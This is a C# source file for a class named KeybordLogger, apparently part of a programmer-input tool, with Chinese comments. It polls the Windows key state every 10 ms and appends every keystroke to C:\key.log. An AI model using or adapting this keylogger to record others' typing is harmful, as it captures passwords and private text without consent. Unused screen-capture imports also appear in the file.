﻿/*
 * 由SharpDevelop创建。
 * 用户： Hastone
 * 日期: 2014/3/19
 * 时间: 16:52
 * 
 * 要改变这种模板请点击 工具|选项|代码编写|编辑标准头文件
 */
using System;
using System.Runtime.InteropServices;
using System.IO;
using System.Windows.Forms;

namespace ProgramerInput
{
	/// <summary>
	/// Description of Class1.
	/// </summary>
	public class KeybordLogger
	{
		[DllImport("User32.dll")]
		private static extern short GetAsyncKeyState(
			System.Windows.Forms.Keys vKey); // Keys enumeration

		[DllImport("User32.dll")]
		private static extern short GetAsyncKeyState(
			System.Int32 vKey);

		//获取当前屏幕
		[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
		private static extern bool BitBlt(
			IntPtr hdcDest, //目标设备的句柄
			int nXDest, // 目标对象的左上角的X坐标
			int nYDest, // 目标对象的左上角的X坐标
			int nWidth, // 目标对象的矩形的宽度
			int nHeight, // 目标对象的矩形的长度
			IntPtr hdcSrc, // 源设备的句柄
			int nXSrc, // 源对象的左上角的X坐标
			int nYSrc, // 源对象的左上角的X坐标
			System.Int32 dwRop // 光栅的操作值
		);

		[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
		private static extern IntPtr CreateDC(
			string lpszDriver, // 驱动名称
			string lpszDevice, // 设备名称
			string lpszOutput, // 无用，可以设定位"NULL"
			IntPtr lpInitData // 任意的打印机数据
		);

		private System.String keyBuffer;
		private System.Timers.Timer timerKeyMine;
		private System.Timers.Timer timerBufferFlush;
		private StreamWriter sw;
		private long keyGetInterval = 0;
		private long flushToFileInterval = 0;
		private string logFileName;
		private bool hasStart;
		
		public bool allowWriteFile = false;

		public long KeyGetInterval
		{// 获取键盘输入的间隔时间
			set
			{
				keyGetInterval = value;

				timerKeyMine.Interval = keyGetInterval;
			}

			get
			{
				return keyGetInterval;
			}
		}

		public long FlushToFileInterval
		{// 记录键盘输入到文件的间隔时间
			set
			{
				flushToFileInterval = value;

				timerBufferFlush.Interval = flushToFileInterval;
			}

			get
			{
				return flushToFileInterval;
			}
		}

		public bool HasStart
		{
			get
			{
				return hasStart;
			}
		}
		
		private string sets(int len,string s,string a)
		{
			if (string.IsNullOrEmpty(s)) {
				return a;
			}
			s=s+" "+a;
			var sArr=new System.Collections.Generic.List<string>(s.Split(' '));
			
			if (sArr.Count>len) {
				sArr.RemoveAt(0);
				return string.Join(" ",sArr.ToArray());
			}
			return s;
		}
		
		private string _key1="";
		public string key1{
			get{return _key1;}
			set{_key1=value;}
		}
		
		private string _key2="";
		public string key2{
			get{return _key2;}
			set{
				_key2=sets(2,_key2,value);
			}
		}
		
		private string _key3="";
		public string key3{
			get{return _key3;}
			set{
				_key3=sets(3,_key3,value);
			}
		}
		
		private string _key4="";
		public string key4{
			get{return _key4;}
			set{
				_key4=sets(4,_key4,value);
			}
		}
		
		
		private string _key5="";
		public string key5{
			get{return _key5;}
			set{
				_key5=sets(5,_key5,value);
			}
		}
		

		public KeybordLogger() : this(@"C:\key.log")
		{
			this.logFileName = @"C:\key.log";
		}

		public KeybordLogger(string logFileName)
		{
			this.logFileName = logFileName;
			timerKeyMine = new System.Timers.Timer();
			timerBufferFlush = new System.Timers.Timer();
			timerKeyMine.Interval = 10;
			timerBufferFlush.Interval = 2000;
			this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
			this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
		}

		public void startLoging()
		{
			// 开始键盘记录
			timerKeyMine.Start();
			timerBufferFlush.Start();
			hasStart=true;
		}

		public void stopLoging()
		{// 停止键盘记录
			timerKeyMine.Stop();
			timerBufferFlush.Stop();
			hasStart=false;
		}

		private void timerKeyMine_Elapsed(object sender,System.Timers.ElapsedEventArgs e)
		{
			foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
			{
				if (GetAsyncKeyState(i) == -32767)
				{
					var s=Enum.GetName(typeof(Keys), i);
					keyBuffer += s + " ";
					key1=s;
					key2=s;
					key3=s;
					key4=s;
					key5=s;
				}
			}
		}

		private void timerBufferFlush_Elapsed(object sender,System.Timers.ElapsedEventArgs e)
		{
			if (allowWriteFile) {
				
				flush2File(logFileName,true);
			}			
		}

		private void flush2File(string file,bool append)
		{// 刷新记录文件
			try
			{
				// 追加记录数据到文件
				sw = new StreamWriter(file, true);
				sw.Write(keyBuffer);
				sw.Close();

				// 清空缓冲
				keyBuffer = string.Empty;
			}
			catch
			{
				return;
			}
		}
	}
}
